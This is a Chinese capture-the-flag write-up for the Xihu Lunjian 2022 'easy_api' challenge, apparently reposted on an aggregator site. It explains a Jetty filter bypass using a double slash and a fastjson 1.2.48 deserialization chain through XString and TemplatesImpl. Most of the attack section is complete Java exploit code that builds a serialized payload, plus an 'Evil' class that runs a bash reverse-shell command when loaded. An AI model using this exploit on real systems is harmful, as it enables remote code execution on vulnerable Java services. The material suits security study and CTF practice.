[西湖论剑 2022]easy_api

news/2024/10/8 6:29:44

源码审计

下载附件得war包,bandzip解压一下,审一下源码:

这个没啥东西。

反序列化入口,但是访问这里是需要绕过的:

其实绕过也很简单,双斜杠就绕了:web.xml filter 绕过匹配访问(针对jetty)_jetty权限绕过-CSDN博客

看lib里有啥依赖:

fastjson1.2.48,这不老熟人了吗.....

 

EXP

fastjson最经典的部分是自动触发getter来getProperties加载字节码,如何触发getter可以通过JSON.parse触发,也可以通过toJSONString触发,很有意思的是JSON这个类的tostring就是toJSONString:

题目ban了BadAttributeValueExpException来触发tostring,用xstring来触发,复制之前的部分即可。

利用链:

readObject->hashmap.put
->xstring.tostring
->JSON.tostring
->templates.getproperties

利用xstring来触发fastjson的tostring,然后就能触发任意类的get方法,再塞一个templatesimpl的对象就可以正常反序列化这个恶意的templatesimpl了。

package com.eddiemurphy;import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;public class Exp {public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});setFieldValue(templates, "_name", "Evil");setFieldValue(templates, "_class", null);JSONObject jsonObject = new JSONObject();jsonObject.put("jb", templates);HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);try{ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);outputStream.writeObject(s);System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));outputStream.close();}catch(Exception e){e.printStackTrace();}}
}
package com.eddiemurphy;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {public Evil() {super();try {Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");}catch (Exception e){e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

发包就完了:

找半天没找到flag,还以为在root里想suid提权,但是提不了。

最后tmp里找到了:

find / -name flag

NSSCTF{72dbe629-dca5-422e-b192-40bb6de2d72a}

 

参考:

西湖论剑 Writeup by or4nge (or4ngesec.github.io)

2023西湖论剑web-writeup题解wp | CTF导航 (ctfiot.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28139.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Linux 和 Windows11双系统安装

阅读目录 1.下载Linux系统 2. 制作Linux系统启动盘 3. 电脑分盘 4. 安装Ubuntu系统 5. 安装完成后可能遇到的黑屏问题解决 回到顶部 1.下载Linux系统 下载Linux系统的镜像文件,Linux系统有很多版本,Linux指的是系统内核,笔者下载的是Ubuntu系统,大家可以根据需要下载其他系…

深入解析CSS

层叠、优先级和继承 层叠层叠指的就是这一系列规则。 它决定了如何解决css样式规则冲突,是 CSS 语言的基础。 虽然有经验的开发人员对层叠有大体的了解,但是层叠里有些规则还是容易让人误解。当声明冲突时,层叠会依据三种条件解决冲突:样式表的来源:样式是从哪里来的,包括…

宝塔面板如何删除一个站点

我们一般的网站都是PHP+MySQL开发的,所以删除站点,就要先删数据库,再删网站目录 注意:一点要确保无用的再删 删除站点目录 十年开发经验程序员,离职全心创业中,历时三年开发出的产品《唯一客服系统》一款基于Golang+Vue开发的在线客服系统,软件著作权编号:2021SR146260…

AnsysEM安装教程(Linux)

前期准备 解压相关安装文件 unzip Crack.zip将安装iso文件挂载到/mnt/AnsysEM目录下 sudo mkdir /mnt/AnsysEm sudo mount Ansys.Electronics.2021.R1.Linux64.iso /mnt/AnsysEM/ -o loop转到/mnt/AnsysEM/目录下,打开Readme文件查看安装步骤教程 创建AnsysEM安装目录 sudo mk…

百舸实践之「埋点数据深度治理与应用」 | 京东云技术团队

一、背景 随着公司和业务的不断发展,百舸平台也从单一内容投放转向了以流量和数据为基础的流量运营模式。在这个转变过程中,数据深度治理与应用的重要性尤为凸显,在数据深度治理过程中,需要将用户行为数据、投放素材以及投放效果三者紧密的串联起来。数据深度治理和应用,一…

【进阶篇】基于 Redis 实现分布式锁的全过程

这一篇文章拖了有点久,虽然在项目中使用分布式锁的频率比较高,但整理成文章发布出来还是花了一点时间。在一些移动端、用户量大的互联网项目中,经常会使用到 Redis 分布式锁作为控制访问高并发的工具。目录前言一、关于分布式锁二、RedLock 红锁(不推荐)三、基于 setIfAbs…

pdf.js源码解析-渲染的时序分析

首先来一张总结的图,也就是pdf.js在解析和渲染pdf的一个时序图,下图:首先要明白,pdf.js在渲染pdf的时候是做分层渲染,也就是时间展现的内容是通过canvas进行绘制的,而我们通过鼠标进行选择时候的内容是通过dom进行普通渲染,也就是 <div>123</div> 这样的普通…